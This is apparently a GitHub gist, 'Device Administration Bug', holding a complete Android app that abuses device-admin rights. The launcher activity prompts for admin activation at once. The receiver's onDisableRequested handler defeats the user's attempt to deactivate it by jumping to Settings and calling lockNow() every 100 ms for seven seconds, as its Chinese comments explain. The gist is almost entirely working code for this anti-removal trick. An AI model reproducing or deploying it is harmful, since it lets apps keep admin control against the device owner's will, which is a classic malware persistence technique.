Last active
September 13, 2023 17:56
-
-
Save 2BAB/786513de79b7bfd82c3f to your computer and use it in GitHub Desktop.
Device Administration Bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | |
package="me.x2bab.deviceadmintrick" > | |
<application | |
android:allowBackup="true" | |
android:icon="@drawable/ic_launcher" | |
android:label="@string/app_name" | |
android:theme="@style/AppTheme" > | |
<activity | |
android:name=".WhatTheHell" | |
android:label="@string/app_name" > | |
<intent-filter> | |
<action android:name="android.intent.action.MAIN" /> | |
<category android:name="android.intent.category.LAUNCHER" /> | |
</intent-filter> | |
</activity> | |
<receiver | |
android:name=".MyDeviceReceiver" | |
android:description="@string/receiver_description" | |
android:label="@string/app_name" | |
android:permission="android.permission.BIND_DEVICE_ADMIN"> | |
<meta-data | |
android:name="android.app.device_admin" | |
android:resource="@xml/device_manager_policies" /> | |
<intent-filter> | |
<!--此处必须设定该Action,不设定则无法启动设备管理器,之前版本可启动但看不到的bug已被修复--> | |
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> | |
</intent-filter> | |
</receiver> | |
</application> | |
</manifest> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<device-admin xmlns:android="http://schemas.android.com/apk/res/android"> | |
<uses-policies> | |
<force-lock /> | |
</uses-policies> | |
</device-admin> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import android.app.admin.DeviceAdminReceiver; | |
import android.app.admin.DevicePolicyManager; | |
import android.content.Context; | |
import android.content.Intent; | |
public class MyDeviceReceiver extends DeviceAdminReceiver { | |
@Override | |
public void onReceive(Context context, Intent intent) { | |
super.onReceive(context, intent); | |
} | |
@Override | |
public CharSequence onDisableRequested(Context context, Intent intent) { | |
//跳离当前询问是否取消激活的 dialog | |
Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings"); | |
outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); | |
context.startActivity(outOfDialog); | |
//调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后 | |
final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE); | |
dpm.lockNow(); | |
new Thread(new Runnable() { | |
@Override | |
public void run() { | |
int i = 0; | |
while (i < 70) { | |
dpm.lockNow(); | |
try { | |
Thread.sleep(100); | |
i++; | |
} catch (InterruptedException e) { | |
e.printStackTrace(); | |
} | |
} | |
} | |
}).start(); | |
return ""; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import android.app.Activity; | |
import android.app.admin.DevicePolicyManager; | |
import android.content.ComponentName; | |
import android.content.Intent; | |
import android.os.Bundle; | |
public class WhatTheHell extends Activity { | |
@Override | |
protected void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
setContentView(R.layout.activity_what_the_hell); | |
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); | |
ComponentName deviceComponentName = new ComponentName("me.x2bab.deviceadmintrick", | |
"me.x2bab.deviceadmintrick.MyDeviceReceiver"); | |
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, deviceComponentName); | |
this.startActivity(intent); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment